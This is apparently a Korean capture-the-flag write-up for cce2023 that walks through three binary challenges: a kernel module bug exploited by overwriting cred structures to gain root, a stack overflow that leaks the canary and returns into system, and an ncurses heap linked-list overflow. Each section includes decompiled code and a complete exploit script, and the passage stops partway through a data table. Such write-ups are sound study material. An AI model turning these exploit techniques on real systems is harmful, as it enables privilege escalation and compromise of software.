K-Exploit
처음으로 잡아본 커널 문제다. 대회끝나고 50분뒤에 플래그가 나왔다. 아침에 BoB 필기랑 인적성보고 풀려했는데, 대회가 너무 빨리 끝났다. ;;
Analysis
rootfs.img.gz 파일 시스템이 주어지고 bzImage가 주어진다.
local_run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel bzImage \
-initrd rootfs.img.gz \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
kaslr, kpti, smep, smap 다 빡세게 걸려있다.
server_run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel bzImage \
-initrd $1 \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"
똑같은데 디버깅 옵션만 빠진거같다.
k-exploit.ko
_fentry__(flip, cmd);
copy_from_user(index, usr_, 0x20LL);
if ( (_DWORD)cmd == 0x10002 ) // modify
{
idx = 2 * *(_DWORD *)index;
if ( (unsigned int)(2 * *(_DWORD *)index) > 0x28 )
_ubsan_handle_out_of_bounds(&off_BA0, idx);
v11 = arr[idx];
if ( !v11 )
return -1LL;
cnt = sz;
if ( sz > (unsigned __int64)arr[idx + 1] )
return -1LL;
from_ = src;
to_ = v11 + 8 * off;
if ( (unsigned __int64)sz > 0x7FFFFFFF )
BUG();
goto LABEL_26; // copy_from_user(to_, from_, cnt);
}
ioctl로 modify 할 수 있다. 구조체를 userland에서 받아서 그걸 바탕으로 처리를 진행한다.
if ( (unsigned int)cmd > 0x10002 )
{
if ( (_DWORD)cmd == 0x10003 ) // CREATE
{
v15 = 2 * *(_DWORD *)index;
if ( (unsigned int)(2 * *(_DWORD *)index) > 0x28 )
_ubsan_handle_out_of_bounds(&off_B80, v15);
v6 = arr[v15];
if ( v6 )
{
return -1LL;
}
else if ( (unsigned __int64)sz > 0xA0 )
{
return -1LL;
}
else
{
to = _kmalloc(sz, 0x6000C0LL);
if ( to )
{
arr[v15] = to;
if ( (unsigned __int64)sz > 0x7FFFFFFF )
BUG();
copy_from_user(to, src, sz);
arr[v15 + 1] = sz;
}
else
{
return -1LL;
}
}
}
kmalloc을 한다.
else if ( (_DWORD)cmd == 0x10004 ) // DELETE
{
v4 = 2 * *(_DWORD *)index;
if ( (unsigned int)(2 * *(_DWORD *)index) > 0x28 )
_ubsan_handle_out_of_bounds(&off_B60, v4);
v5 = arr[v4];
if ( v5 )
{
kfree(v5);
arr[v4] = 0LL;
return 0LL;
}
else
{
return -1LL;
}
}
else
{
return 0LL;
}
return v6;
}
얘는 kfree하는데 사용한다.
if ( (_DWORD)cmd != 0x1337 )
{
if ( (_DWORD)cmd != 0x10001 )
return 0LL;
v8 = 2 * *(_DWORD *)index;
if ( (unsigned int)(2 * *(_DWORD *)index) > 0x28 )
_ubsan_handle_out_of_bounds(&off_BC0, v8);
usr = arr[v8];
if ( !usr )
return -1LL;
if ( sz > (unsigned __int64)arr[v8 + 1] )
return -1LL;
if ( (unsigned __int64)sz > 0x7FFFFFFF )
BUG();
copy_to_user(src, usr + 8 * off);
return 0LL;
}
v17 = 2 * *(_DWORD *)index;
if ( (unsigned int)(2 * *(_DWORD *)index) > 0x27 )
_ubsan_handle_out_of_bounds(&off_B40, v17);
v6 = arr[v17];
if ( v6 )
{
cnt = sz;
from_ = src;
to_ = *(_QWORD *)(v6 + 8 * off);
if ( (unsigned __int64)sz > 0x7FFFFFFF )
BUG();
LABEL_26:
copy_from_user(to_, from_, cnt);
0x1337은 포인터 참조 두번하고 userland의 데이터로 덮는다. 0x1001은 메모리를 읽어주고 userland로 돌려준다.
import hashlib
import base64
from pwn import *
REMOTE_IP = "20.196.194.8"
REMOTE_PORT = 1234
EXPLOIT_URL = b"??"
io = remote(REMOTE_IP, REMOTE_PORT)
def solvepow(x, target):
x = bytes.fromhex(x)
target = bytes.fromhex(target)
for i in range(256**3):
if hashlib.md5(x + i.to_bytes(3, "big")).digest() == target:
return x.hex()+hex(i)[2:]
def main():
line = io.recvuntil(b"\n")
x = line.split(b"= ")[1][:26].decode("utf-8")
target = line.split(b"= ")[2][:32].decode("utf-8")
io.recvuntil(b": ")
io.sendline(bytes(solvepow(x, target), "utf-8"))
io.recvuntil(b"link\n")
io.sendline(b"1")
io.recvuntil(b": ")
f = open("./a.out", "rb")
data = base64.b64encode(f.read())
f.close()
io.sendline(data)
# io.sendline(EXPLOIT_URL)
io.interactive()
return
if __name__ == '__main__':
main()
이거 때문에 브포하기 힘들다.
Exploitation
~ # cat /proc/slabinfo | grep cred
cred_jar 105 105 192 21 1 : tunables 0 0 0 : slabdata 5 5 0
slab info 확인해서 cred 크기 확인해보면, 0xc0이라서 잘 맞추고 스프레이하고 인접한 cred를 덮으려고 했는데 막혀있다. UAF도 불가능하다.
if ( sz > (unsigned __int64)arr[idx + 1] )
return -1LL;
from_ = src;
to_ = v11 + 8 * off;
if ( (unsigned __int64)sz > 0x7FFFFFFF )
BUG();
goto LABEL_26; // copy_from_user(to_, from_, cnt);
if ( sz > (unsigned __int64)arr[v8 + 1] )
return -1LL;
if ( (unsigned __int64)sz > 0x7FFFFFFF )
BUG();
copy_to_user(src, usr + 8 * off);
return 0LL;
off 검증이 없다. 원래 0x1337이나 0x1001도 있는데 어떤 곳에 사용해야할지 잘 모르겠고 시간도 부족해서, 간단하게 fork로 cred 구조체 heap spraying 하고 브포했다. 생각보다 엔트로피가 그렇게 크지 않아보여서 시도해봤는데, 막상 remote로 보낼때 pow_client.py 때문에 브포하기 힘들었다.
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
출제자분의 라이트업에서는 task_struct를 찾기 위해서 prctl PR_SET_NAME으로 이름을 바꿔주고 0x1001로 메모리를 읽으면서 그 문자열 위치를 탐색하고 문자열 위치 - 0x10 위치에 cred 구조체 포인터가 있으니까 0x1337로 참조해서 익스했다.
Exploit script
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <sys/wait.h>
struct ioctl_info {
uint32_t idx;
uint32_t dummy;
uint64_t src;
uint64_t sz;
uint64_t off;
}__attribute__((packed));
#define CREATE 0x10003
#define MODIFY 0x10002
#define DELETE 0x10004
int main()
{
int fd;
struct ioctl_info io;
if ((fd = open("/dev/K-exploit", O_RDWR)) < 0){
puts("ERR");
exit(1);
}
io.idx = 0;
char * buf = malloc(0xc0);
strcpy(buf, "DEADBEEF0");
io.src = (int64_t)buf;
io.sz = 0xa0; // cred
if ((int)ioctl(fd, CREATE, &io) < 0){
io.idx =0;
ioctl(fd, DELETE, &io);
if ((int)ioctl(fd, CREATE, &io) < 0){
puts("ERR");
}
}
char * flag = malloc(0x40);
int fl = 0;
int pid[0x100];
for(int i =0;i<0x100;i++){
pid[i] = fork();
if (pid[i] == 0){
sleep(3);
if (getuid() == 0){
fl = 0;
puts("priv escalated");
int f = open("/flag",O_RDONLY);
printf("%d",f);
read(f, flag,0x40);
puts(flag);
}
exit(0);
}
else if (pid[i] == -1){
puts("fork error");
}
}
memcpy(buf,"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",40);
int v;
for (int i=0;i< 30;i++){
io.off = (0xac480-0xc0*10)/0x8 + i;
io.sz = 40;
if ((int)ioctl(fd, MODIFY, &io) < 0){
puts("ERR");
exit(1);
}
puts("trying");
}
int status;
wait(&status);
close(fd);
if(fl == 0){
puts("NOPE");
}
return 0;
}
cce2023{y0u_kn0w_Linux_k3rn3l_3xploit?}
n0t_rand0m
Analysis
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("what your name?");
read(0, buf, 8uLL);
printf("Hello %s", buf);
puts("write comment");
read(0, comment, 0x18uLL);
v3 = time(0LL);
srand(v3);
while ( 1 )
{
while ( 1 )
{
nbytes_4 = rand() % 9 + 1;
printf("random number : %d\n", nbytes_4);
printf("continue? (yes or no) ");
read(0, haystack, 8uLL);
if ( strstr(haystack, "no") )
break;
if ( !strstr(haystack, "yes") )
exit(1);
}
switch ( nbytes_4 )
{
case 1u:
printf("comment : %s\n", comment);
continue;
case 2u:
printf("name : %s\n", buf);
continue;
case 3u:
puts("write new comment");
read(0, comment, nbytes);
continue;
case 4u:
puts("write new name");
read(0, buf, nbytes);
continue;
case 5u:
nbytes = strlen(comment);
printf("%d\n", nbytes);
continue;
case 6u:
nbytes = strlen(buf);
printf("%d\n", nbytes);
continue;
case 7u:
sub_401296(nbytes);
goto LABEL_15;
case 8u:
sub_401345(nbytes);
goto LABEL_15;
case 9u:
LABEL_15:
exit(1);
case 0xAu:
sub_4013B1(buf);
break;
default:
continue;
}
}
}
unsigned __int64 __fastcall sub_401296(unsigned int a1)
{
char buf[8]; // [rsp+18h] [rbp-28h] BYREF
char v3[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("one more time what your name");
read(0, buf, a1);
printf("ok %s\n", buf);
puts("did you have fun?");
read(0, v3, a1);
puts("ok...bye");
return v4 - __readfsqword(0x28u);
}
int __fastcall sub_4013B1(const char *a1)
{
return system(a1);
}
일반적으로는 %9 + 1 때문에 0xa에는 접근할 수 없다.
Exploitation
char buf[8]; // [rsp+8h] [rbp-28h] BYREF
char comment[24]; // [rsp+10h] [rbp-20h] BYREF
comment와 buf가 인접해있다.
case 5u:
nbytes = strlen(comment);
printf("%d\n", nbytes);
continue;
case 6u:
nbytes = strlen(buf);
printf("%d\n", nbytes);
nbytes를 strlen으로 늘릴 수 있다. 인접해있기에 strlen(buf)로 늘려주면 nbytes를 늘릴 수 있다.
sub_401296타고 들어가서 canary leak하고 ret를 system 쪽으로 뛰면 된다.
Exploit script
from pwn import *
from ctypes import CDLL
e = ELF('./n0t_rand0m')
libc = ELF("./libc.so.6")
#p = process('./n0t_rand0m',env={"LD_PRELOAD":"./libc.so.6"})
p = remote("20.196.192.95",8888)
context.log_level='debug'
def func(n):
while True:
rvu(b'random number : ')
r = int(rvl()[:-1])
if r == n:
sa(b'continue? (yes or no)',b'no')
break
else:
sa(b'continue? (yes or no)',b'yes')
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x : p.recvuntil(x)
rvl = lambda : p.recvline()
sa(b'what your name?',b'A'*8)
rvu(b"A"*8)
# stack = u64(rvu(b"\x7f").ljust(8,b'\x00'))
# success(hex(stack-0x2b1)) # local leak
sa(b'write comment',b'A'*0x18)
func(2)
func(6)
func(3)
sa(b'write new comment',b'A'*0x20)
func(6)
func(3)
sa(b'write new comment',b'A'*0x28)
func(6)
func(1)
rvu(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
l =u64(rvu(b'\x7f').ljust(8,b'\x00')) #remote leak
success(hex(l))
# func(4)
# sa(b'write new name',b'sh\x00')
# func(7)
# sa(b'one more time what your name',b'A'*0x21)
# rvu(b'A'*0x21)
# can = b'\x00'+p.recv(7)
# sa(b'did you have fun?',b'A'*0x18 + can +p64(stack-0x2b1+0x28)+p64(0x04016B0))
func(7)
sa(b'one more time what your name',b'A'*0x21)
rvu(b'A'*0x21)
can = b'\x00'+p.recv(7)
sa(b'did you have fun?',b'A'*0x18 + can +p64(l + 0x1ae908 + 0x28)+p64(0x04016B0))
p.interactive()
로컬에선 릭이 됐는데, 리모트에선 안되길래 그냥 따로 릭을 진행했다.
cce2023{c306445363ca0d34c2fd4ba6e2da5ea19052ae855d00b3b46bc71785d16db14542d944d41934e2bcdab0816a154a8872b1258334cbc2f2672004db5a}
Fit
이건 대회끝나고 보니까 솔버나왔길래 궁금해서 풀어봤다.
Analysis
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v3; // eax
v3 = time(0LL);
srand(v3);
initscr();
raw();
curs_set(1);
resizeterm(25, 80);
cbreak();
keypad(stdscr, 1);
noecho();
go();
endwin();
echo();
return 0LL;
}
ncurses 냄새가 난다.
v11 = __readfsqword(0x28u);
clock_gettime(1, &tp);
clock_gettime(1, &v6);
memset(rand_char, 0, sizeof(rand_char));
v8 = 0;
memset(input_, 0, sizeof(input_));
v10 = 0;
stage_ = 1;
v3 = 0;
get_rand_char_20(rand_char);
render_screen(1u, 0, rand_char, (const char *)input_);
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
v4 = wgetch(stdscr);
if ( v4 == -1 )
goto LABEL_18;
if ( (v4 <= '@' || v4 > 'a') && (v4 <= '`' || v4 > 'z') && (v4 <= '/' || v4 > '9') )
break;
if ( v3 <= 19 )
*((_BYTE *)input_ + v3++) = v4;
}
if ( v4 != 0x107 )
break;
if ( v3 > 0 )
--v3;
*((_BYTE *)input_ + v3) = 0;
wclear(qword_5250);
}
}
while ( v4 != 0x157 && v4 != '\n' ); // get_by_line
LABEL_18:
if ( v4 == 343 || v4 == 10 )
break;
LABEL_24:
get_time(&v6);
render_screen(stage_, LODWORD(v6.tv_sec) - LODWORD(tp.tv_sec), rand_char, (const char *)input_);
}
if ( memcmp(input_, rand_char, 20uLL) ) // not correct -> go input again
{
LABEL_23:
wclear(qword_5250);
memset(input_, 0, 20uLL);
v3 = 0;
goto LABEL_24;
}
if ( ++stage_ != 6 )
{
get_rand_char_20(rand_char);
goto LABEL_23;
}
clock_gettime(1, &v6);
*game_struct = v6.tv_sec - tp.tv_sec; // time
if ( v6.tv_nsec >= tp.tv_nsec )
{
game_struct[1] = v6.tv_nsec - tp.tv_nsec;
}
else
{
--*game_struct;
game_struct[1] = v6.tv_nsec + 1000000000 - tp.tv_nsec;
}
return v11 - __readfsqword(0x28u);
}
랜덤으로 문자열 뽑아서 입력된 문자열과 비교한다.
_BOOL8 __fastcall retry_(__int64 *game_struct)
{
int i; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_QWORD *v4; // [rsp+18h] [rbp-8h]
register_game_result(game_struct); // heap leak next node pointer leak vulnerabililty
wclear(stdscr);
wborder(
stdscr,
(unsigned int)dword_5200,
(unsigned int)dword_5200,
(unsigned int)dword_51E4,
(unsigned int)dword_51E4,
0LL,
0LL,
0LL,
0LL);
wmove(stdscr, 2, 38);
printw("Record");
v4 = (_QWORD *)start_res_block[5];
for ( i = 0; i <= 4; ++i )
{
wmove(stdscr, 3 * i + 5, 7);
printw("%d.", (unsigned int)(i + 1));
if ( v4 ) // block + 0x28 -> 0
{
wmove(stdscr, 3 * i + 5, 11);
printw("%s", (const char *)v4 + 0x10); // heap leak vuln trigger
wmove(stdscr, 3 * i + 5, 52);
printw("%ld.%ld", *v4, v4[1]);
v4 = (_QWORD *)v4[5]; // AAR ? next pointer can be overflowed
}
}
wmove(stdscr, 20, 34);
echo();
printw("Retry(y/N)?");
v3 = wgetch(stdscr);
noecho();
return v3 != 'y';
}
한판 끝나고 결과 저장해주고, 더 할건지 묻는다.
0LL);
wmove(stdscr, 5, 37);
printw("Result");
wmove(stdscr, 9, 30);
printw("Passed Time: %ld.%ld", *game_struct, game_struct[1]);
wmove(stdscr, 13, 20);
printw("Name: ");
wrefresh(stdscr);
echo();
game_res_struct_malloc = (__int64 *)malloc(0x30uLL);
*game_res_struct_malloc = *game_struct;
game_res_struct_malloc[1] = game_struct[1];
game_res_struct_malloc[5] = 0LL;
read(0, game_res_struct_malloc + 2, 0x20uLL);
noecho();
if ( current_res_block )
current_res_block[5] = (__int64)game_res_struct_malloc;
else
start_res_block[5] = game_res_struct_malloc;
result = (unsigned __int64)game_res_struct_malloc;
current_res_block = game_res_struct_malloc;
}
return result;
}
이름을 기록한다. singly linked list로 저장한다.
wmove(stdscr, 13, 20);
printw("Name index: ");
wrefresh(stdscr);
echo();
scanw("%d", &idx);
wclear(stdscr);
wborder(
stdscr,
(unsigned int)dword_5200,
(unsigned int)dword_5200,
(unsigned int)dword_51E4,
(unsigned int)dword_51E4,
0LL,
0LL,
0LL,
0LL);
noecho();
wmove(stdscr, 13, 20);
printw("Name: ");
wrefresh(stdscr);
echo();
v3 = read(0, NAME, 0x14uLL);
NAME[v3 - 1] = 0;
noecho();
for ( i = 0; i < idx; ++i )
{
if ( !v4 )
return v7 - __readfsqword(0x28u);
v5 = v4;
v4 = (__int64 *)v4[5]; // next ptr
}
if ( v4 ) // if exists
{
memcpy(v4 + 2, NAME, 0x14uLL); // name rewriting? AAW trigger?
puts((const char *)v5 + 0x10); // print_name?
}
return v7 - __readfsqword(0x28u);
}
게임 끝나고 ‘y’가 아니라면 실행되는 함수다. idx 받고 이름 다시 써준다.
Exploitation
취약점은 대놓고 주는데, 익스가 오래걸렸다. I/O가 이상해서 pyte 터미널 에뮬레이터를 활용했다.
game_res_struct_malloc = (__int64 *)malloc(0x30uLL);
*game_res_struct_malloc = *game_struct;
game_res_struct_malloc[1] = game_struct[1];
game_res_struct_malloc[5] = 0LL;
read(0, game_res_struct_malloc + 2, 0x20uLL);
경계 체크가 미흡해서 다음 노드를 가리키는 포인터를 덮을 수 있다.
echo();
game_res_struct_malloc = (__int64 *)malloc(0x30uLL);
*game_res_struct_malloc = *game_struct;
초기화가 하지 않아서 UAF를 트리거할 수 있다.
wmove(stdscr, 2, 38);
printw("Record");
v4 = (_QWORD *)start_res_block[5];
for ( i = 0; i <= 4; ++i )
{
wmove(stdscr, 3 * i + 5, 7);
printw("%d.", (unsigned int)(i + 1));
if ( v4 ) // block + 0x28 -> 0
{
wmove(stdscr, 3 * i + 5, 11);
printw("%s", (const char *)v4 + 0x10); // heap leak vuln trigger
wmove(stdscr, 3 * i + 5, 52);
printw("%ld.%ld", *v4, v4[1]);
v4 = (_QWORD *)v4[5]; // AAR ? next pointer can be overflowed
}
}
wmove(stdscr, 20, 34);
출력해줘서 여기서 릭하면 된다.
__int64 printw(__int64 a1, ...)
{
__va_list_tag va[1]; // [rsp+0h] [rbp-D8h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-C0h]
va_start(va, a1);
v3 = __readfsqword(0x28u);
return vw_printw((__int64)stdscr, a1, (__int64)va);
}
__int64 __fastcall vw_printw(__int16 *a1, __int64 a2, __int64 a3)
{
__int64 v4; // rax
unsigned __int8 *v5; // rax
v4 = _nc_screen_of(a1);
v5 = (unsigned __int8 *)sub_189A0(v4, a2, a3);
if ( v5 )
return waddnstr(a1, v5, -1);
else
return 0xFFFFFFFFLL;
}
goto LABEL_54;
return v23;
}
v51 = string;
v6 = v5 + (_DWORD)string + 1;
while ( 1 )
{
++v51;
v7 = _nc_screen_of(a1);
v8 = (unsigned __int8 *)unctrl_sp(v7, v3);
if ( !v8[1] || (v9 = __ctype_b_loc(), ((*v9)[v3] & 0x4002) == 0x4000) )
{
v25 = *((_DWORD *)a1 + 4);
v26 = a1[1];
v27 = *((_DWORD *)a1 + 5);
v28 = a1[1];
v29 = BYTE1(v25);
char *__fastcall unctrl_sp(__int64 a1, unsigned __int8 a2)
{
int v2; // eax
int v3; // eax
__int64 v5; // rax
const unsigned __int16 **v6; // r8
if ( a1 )
{
v2 = *(_DWORD *)(a1 + 1496);
if ( v2 > 1 )
{
v3 = a2 - 128;
if ( (unsigned int)v3 <= 0x1F || (unsigned int)a2 - 160 <= 0x5F )
return (char *)&unk_293A0 + word_297C0[v3];
goto LABEL_7;
}
if ( (unsigned int)a2 - 160 <= 0x5F )
{
if ( v2 != 1 )
{
if ( v2 )
goto LABEL_7;
v6 = __ctype_b_loc();
v5 = a2;
if ( ((*v6)[a2] & 0x4000) == 0 )
return (char *)&unk_293A0 + *((__int16 *)&off_291A0 + v5);
}
v3 = a2 - 128;
return (char *)&unk_293A0 + word_297C0[v3];
}
}
LABEL_7:
v5 = a2;
return (char *)&unk_293A0 + *((__int16 *)&off_291A0 + v5);
}
특정 범위에 안걸리면 릭이 제대로 되서 간단하게 제대로 된 주소 나올때까지 반복적으로 시도하면 바로 익스할 수 있었지만, printw의 출력 로직을 분석해서 한번에 익스플로잇되도록 만들었다. 겹치는 부분이 생겨서 가짓수가 꽤 나오기 때문에 백트레킹해서 주소가 제대로 나왔는지 확인했다.
이후 AAW로 잘 덮고, 마저 익스했다.
Exploit script
from pwn import *
import pyte
DEBUG = True
context.terminal=['tmux', 'splitw', '-h']
context.binary = e = ELF('./fit')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
off = [0x2000, 0x25D0] # 0x2000, 0x0002346
script = ''
for i in off:
script += f'brva {hex(i)}\n'
if DEBUG:
p = gdb.debug(e.path, gdbscript=script)
else :
p = process(e.path)
dims = (80, 25)
screen = pyte.Screen(*dims)
stream = pyte.ByteStream(screen)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
def feed_stream() -> str:
global stream,screen
stream.feed(p.recv(2000))
scr = ''
for i in screen.display:
scr += str(i) + '\n'
return scr
def rvuntil(b : bytes) -> bytes:
for i in range(20):
rv = p.recv(2000,timeout=1)
sleep(0.01)
if b in rv:
break
return rv
def solve(st) -> int:
scr = feed_stream().split()
try:
ans = (scr[scr.index('Word:')+2])
stage = int(scr[scr.index('Stage')+1])
sl(ans)
if stage != st:
return solve(st)
except:
return solve(st)
return stage
ctype_loc = [0x0002, 0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x2003, 0x2002,0x2002, 0x2002, 0x2002,0x0002, 0x0002, 0x0002, 0x0002,0x0002,0x0002, 0x0002,0x0002,0x0002,0x0002,0x0002, 0x0002, 0x0002, 0x0002,0x0002,0x0002,0x0002,0x0002,0x6001, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xd808, 0xd808, 0xd808, 0xd808, 0xd808, 0xd808, 0xd808, 0xd808, 0xd808, 0xd808, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xc004, 0xd508, 0xd508, 0xd508, 0xd508, 0xd508, 0xd508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc508, 0xc004, 0xc004,0xc004, 0xc004, 0xc004, 0xc004, 0xd608, 0xd608, 0xd608, 0xd608, 0xd608, 0xd608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc608, 0xc004, 0xc004, 0xc004, 0xc004, 0x0002,0x0000, 0x0000,0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,0x0000, 0x0000,0x0000,0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020, 0x0000,0x0000,0x0000,0x0000,0x0000,0x0028,0x0000,0x0043,0x0000, 0x0029,0x0000, 0x0000, 0x0000,0x0000, 0x0000, 0x003c, 0x0000,0x003c,0x0000, 0x0000,0x0000,0x0000,0x0000, 0x002d, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,0x0028,0x0000,0x0052, 0x0000, 0x0029, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0075, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x002c, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x003e, 0x0000, 0x003e, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020, 0x0000, 0x0031, 0x0000, 0x002f, 0x0000, 0x0034, 0x0000, 0x0020, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020, 0x0000, 0x0031, 0x0000, 0x002f, 0x0000, 0x0032, 0x0000, 0x0020, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020, 0x0000, 0x0033, 0x0000, 0x002f, 0x0000, 0x0034, 0x0000, 0x0020, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0041, 0x0000, 0x0045, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0078, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0073, 0x0000, 0x0073, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0061, 0x0000, 0x0065, 0x0000, ]
def unctrl_sp_emu(x):
global ctype_loc
word_29780 = [0, 3, 2, 3, 4, 3, 6, 3, 8, 3, 10, 3, 12, 3, 14, 3, 16, 3, 18, 3, 20, 3, 22, 3, 24, 3, 26, 3, 28, 3, 30, 3, 32, 3, 34, 3, 36, 3, 38, 3, 40, 3, 42, 3, 44, 3, 46, 3, 48, 3, 50, 3, 52, 3, 54, 3, 56, 3, 58, 3, 60, 3, 62, 3, 64, 3, 66, 3, 68, 3, 70, 3, 72, 3, 74, 3, 76, 3, 78, 3, 80, 3, 82, 3, 84, 3, 86, 3, 88, 3, 90, 3, 92, 3, 94, 3, 96, 3, 98, 3, 100, 3, 102, 3, 104, 3, 106, 3, 108, 3, 110, 3, 112, 3, 114, 3, 116, 3, 118, 3, 120, 3, 122, 3, 124, 3, 126, 3, 128, 3, 130, 3, 132, 3, 134, 3, 136, 3, 138, 3, 140, 3, 142, 3, 144, 3, 146, 3, 148, 3, 150, 3, 152, 3, 154, 3, 156, 3, 158, 3, 160, 3, 162, 3, 164, 3, 166, 3, 168, 3, 170, 3, 172, 3, 174, 3, 176, 3, 178, 3, 180, 3, 182, 3, 184, 3, 186, 3, 188, 3, 190, 3, 192, 3, 194, 3, 196, 3, 198, 3, 200, 3, 202, 3, 204, 3, 206, 3, 208, 3, 210, 3, 212, 3, 214, 3, 216, 3, 218, 3, 220, 3, 222, 3, 224, 3, 226, 3, 228, 3, 230, 3, 232, 3, 234, 3, 236, 3, 238, 3, 240, 3, 242, 3, 244, 3, 246, 3, 248, 3, 250, 3, 252, 3, 254, 3]
unk_29360 = [94, 64, 0, 94, 65, 0, 94, 66, 0, 94, 67, 0, 94, 68, 0, 94, 69, 0, 94, 70, 0, 94, 71, 0, 94, 72, 0, 94, 73, 0, 94, 74, 0, 94, 75, 0, 94, 76, 0, 94, 77, 0, 94, 78, 0, 94, 79, 0, 94, 80, 0, 94, 81, 0, 94, 82, 0, 94, 83, 0, 94, 84, 0, 94, 85, 0, 94, 86, 0, 94, 87, 0, 94, 88, 0, 94, 89, 0, 94, 90, 0, 94, 91, 0, 94, 92, 0, 94, 93, 0, 94, 94, 0, 94, 95, 0, 32, 0, 33, 0, 34, 0, 35, 0, 36, 0, 37, 0, 38, 0, 39, 0, 40, 0, 41, 0, 42, 0, 43, 0, 44, 0, 45, 0, 46, 0, 47, 0, 48, 0, 49, 0, 50, 0, 51, 0, 52, 0, 53, 0, 54, 0, 55, 0, 56, 0, 57, 0, 58, 0, 59, 0, 60, 0, 61, 0, 62, 0, 63, 0, 64, 0, 65, 0, 66, 0, 67, 0, 68, 0, 69, 0, 70, 0, 71, 0, 72, 0, 73, 0, 74, 0, 75, 0, 76, 0, 77, 0, 78, 0, 79, 0, 80, 0, 81, 0, 82, 0, 83, 0, 84, 0, 85, 0, 86, 0, 87, 0, 88, 0, 89, 0, 90, 0, 91, 0, 92, 0, 93, 0, 94, 0, 95, 0, 96, 0, 97, 0, 98, 0, 99, 0, 100, 0, 101, 0, 102, 0, 103, 0, 104, 0, 105, 0, 106, 0, 107, 0, 108, 0, 109, 0, 110, 0, 111, 0, 112, 0, 113, 0, 114, 0, 115, 0, 116, 0, 117, 0, 118, 0, 119, 0, 120, 0, 121, 0, 122, 0, 123, 0, 124, 0, 125, 0, 126, 0, 94, 63, 0, 126, 64, 0, 126, 65, 0, 126, 66, 0, 126, 67, 0, 126, 68, 0, 126, 69, 0, 126, 70, 0, 126, 71, 0, 126, 72, 0, 126, 73, 0, 126, 74, 0, 126, 75, 0, 126, 76, 0, 126, 77, 0, 126, 78, 0, 